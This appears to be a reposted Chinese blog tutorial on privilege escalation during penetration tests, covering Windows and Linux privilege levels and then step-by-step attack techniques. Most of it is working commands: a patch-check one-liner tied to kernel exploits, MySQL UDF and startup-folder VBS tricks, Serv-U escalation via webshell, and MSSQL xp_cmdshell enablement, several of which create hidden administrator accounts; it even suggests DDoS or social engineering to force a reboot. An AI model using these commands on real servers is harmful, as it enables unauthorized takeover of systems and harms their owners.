提权

xiaoxiao2021-02-28  65

什么是提权?

提权,顾名思义就是提高自己的权限,就比如在Windows中你本身登录的用户是Ghost,然后通过提权就可以拥有Administrator权限,甚至是System权限。

了解Windows中的权限高低划分 Windows中的权限大致可以分为5种,Administrators,Power Users,Users,Guests,Everyone,其实还有一个组,他和Administrators一样,甚至拥有比Administrators还要高的权限,但这个用户组不允许任何用户加入,在查看用户组的时候,他也不会显示出来,他就是System组。系统和系统级的服务正常运行所需要的权限都是靠他赋予的。由于改组只有一个System用户,所以把他算成用户更为合适。在渗透过程中一般看到的都是普通的用户权限,我们需要把他提升到Administrator,甚至是System。只有这样才方便后续的操作,比如说是内网等啊,这一步是很有必要的。

linux下用户的角色分类 在linux下用户是根据角色定义的,具体分为三种角色: 超级用户:拥有对系统的最高管理权限,默认是root用户。 普通用户:只能对自己目录下的文件进行访问和修改,具有登录系统的权限,例如上面提到的www用户、ftp用户等。 虚拟用户:也叫“伪”用户,这类用户最大的特点是不能登录系统,它们的存在主要是方便系统管理,满足相应的系统进程对文件属主的要求。例如系统默认的bin、adm、nobody用户等,一般运行的web服务,默认就是使用的nobody用户,但是nobody用户是不能登录系统的。

windows系统漏洞提权

前提:能够执行系统命令函数 先获取系统信息:在系统中执行cmd命令。 systeminfo:查看系统版本和已经安装的补丁,确认是否有我们所需要的漏洞。然后根据已知的补丁寻找对应的漏洞和POC • KB2360937 MS10-084 • KB2478960 MS11-014 • KB2507938 MS11-056 • KB2566454 MS11-062 • KB2646524 MS12-003 • KB2645640 MS12-009 • KB2641653 MS12-018 • KB944653 MS07-067 • KB952004 MS09-012 PR • KB971657 MS09-041 • KB2620712 s • KB2393802 MS11-011 • kb942831 MS08-005 • KB2503665 MS11-046 • KB2592799 MS11-080 • KB956572 MS09-012 巴西烤肉 • KB2621440 MS12-020 • KB977165 MS10-015 Ms Viru 附上一段脚本,可以利用此脚本找到可利用的漏洞

systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\temp.txt| @find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\temp.txt

查看对应的POC: https://github.com/SecWiki/windows-kernel-exploits,

LINUX内核提权

查看系统版本信息:

cat /etc/issuecat /etc/*-releasecat /etc/lsb-releasecat /etc/redhat-releasedmesg | grep Linuxls /boot | grep vmlinuz

查看内核版本信息:

cat /proc/versionuname -auname -mrsrpm -q kernel

查看对应版本的EXP: https://www.exploit-db.com/ https://github.com/SecWiki/linux-kernel-exploits

第三方提权

sever-u提权 1、执行cmd命令,输入命令”natstat -an“查询当前的端口状态。 2、利用webshell读取服务器信息,发现服务器系统安装sever-u服务,默认端口是43958。创建新用户并提升至管理员权限。 3、执行命令“net user”查看当前的所有账户,查看创建用户是否建立成功,输入”net user <用户名>”查看当前用户的属性。 4、执行命令“mstsc“进行远程连接,输入创建的账户名和密码,即可登录成功。

Mysql-UDF提权 条件:必须是管理员权限运行,root连接mysql数据库(端口3306),需要安装DLL文件。 上传udf.dll文件到数据库lib\plugins\(新建) 首先判断mysql版本

mysql版本 < 5.2,UDF导出到系统目录c:/windows/system32/mysql版本 > 5.2,UDF导出到安装路径MySQL\Lib\Plugin\

一般Lib,Plugin文件夹需要手工建立(可用流模式突破进而创建文件夹) 可能会用到的命令:

select @@datadir //路径 select @@version //版本

某些情况下,我们会遇到“Can’t open shared library”的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法

//查找到mysql的目录 select @@basedir; //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';

上述完成之后,选择一个数据库,创建执行函数cmdshell(如果禁用了cmdshell函数,可以在上传udf.dll里面修改cmdshell的名字)

create function cmdshell returns string soname "udf.dll";

执行函数命令

select cmdshell("net user 123 123 /add"); select cmdshell("net localgroup administrators 123 /add");

命令执行成功后删除函数

drop function cmdshell; delete from mysql.func where name='cmdshell'

Mysql启动项提权: 原理:利用高权限的root写入一个vbs脚本到启动项,再通过一些方法如ddos,社工管理员之类的方法来让服务器重启,运行脚本,达到提取目的。 1、查看我们进入数据库中有些什么数据表

mysql>show tables;

默认的情况下,test中没有任何表的存在。 以下为关键的部分 2、在TEST数据库下创建一个新的表;

mysql>create table a (cmd text);

好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。 3、在表中插入内容

mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")"); mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1 /add"",0)"); mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0)");

注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序! 4、好了,现在我们来看看表a中有些什么

mysql>select * from a;

我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步 5、输出表为一个VBS的脚本文件

mysql>select * from a into outfile “c://docume~1//administrator//「开始」菜单//程序//启动//digo8.vbs”;

6.重启即可!

Mssql提权 mssql数据库(端口1433),Mssql如果通过管理员权限运行,并且以sa账户登陆,可以直接以管理员执行系统命令。(xp_cmdshell需要开启)。 默认情况下mssql的这个功能是被关闭的,通过命令开启

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

如果xp_cmdshell被删除,可以尝试上传xplog70.dll进行恢复,恢复语句:

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll’ //dll是windows的运行库的后缀名,可以用c语言编译生成

提权操作: 如果支持多语句执行:

exec master..xp_cmdshell "whoami";

如果不支持多语句执行:

select * from openrowset('sqloledb','trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''net user luan lu4n.com /add')

注:提权之前必须先在本地搭环境测试,减少导致蓝屏,服务器崩溃的机率。

转载请注明原文地址: https://www.6miu.com/read-2140914.html

最新回复(0)